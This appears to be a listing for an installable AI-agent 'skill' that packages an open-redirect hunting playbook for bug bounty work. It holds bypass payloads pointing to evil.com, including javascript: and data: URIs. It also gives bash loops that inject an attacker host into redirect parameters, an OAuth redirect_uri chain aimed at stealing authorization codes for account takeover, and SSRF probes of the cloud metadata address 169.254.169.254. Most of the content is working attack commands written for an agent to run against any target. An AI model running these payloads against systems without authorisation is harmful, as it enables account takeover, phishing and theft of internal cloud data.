Hunt Open Redirect Skill for Claude
Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.
Install
one command, takes just this skill from the repositorynpx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-open-redirectThe instruction itself
13 sections, as written by the authorHUNT-OPEN-REDIRECT — Open Redirect
Crown Jewel Targets
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
- Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- Open redirect → phishing — users trust the URL because it starts with target.com
- Open redirect → SSRF escalation — if redirect followed server-side → SSRF
- Open redirect → session fixation — force user to login endpoint with pre-set session
Attack Surface Signals
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
Bypass Table
| Technique | Payload |
|-----------|---------|
| Basic | https://evil.com |
| Protocol relative | //evil.com |
| Backslash bypass | /\\evil.com |
| At-sign confusion | https://[email protected] |
| Double slash | //evil.com/%2F.. |
| URL encoding | %2Fevil.com |
| Null byte | evil.com%00target.com |
| Whitespace | evil.com%09 or %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomain | https://target.com.evil.com |
| Fragment | https://evil.com#.target.com |
Step-by-Step Hunting Methodology
Phase 1 — Discover Redirect Parameters
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
Phase 2 — Basic Test
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
Phase 3 — Bypass Techniques
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://[email protected]"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
Phase 4 — OAuth Chain Test
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
Phase 5 — Server-Side Redirect (SSRF escalation)
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"
Automation
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
Chain Table
| Open redirect finding | Chain to | Impact |
|----------------------|----------|--------|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
Validation
✅ Location header in response points to evil.com (your controlled domain)
✅ Browser follows redirect to attacker-controlled page
Severity:
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High
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How to use it
Take elementalsouls/hunt-open-redirect from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.
The instructions reference pip.
Without those the skill loads but fails at the first command.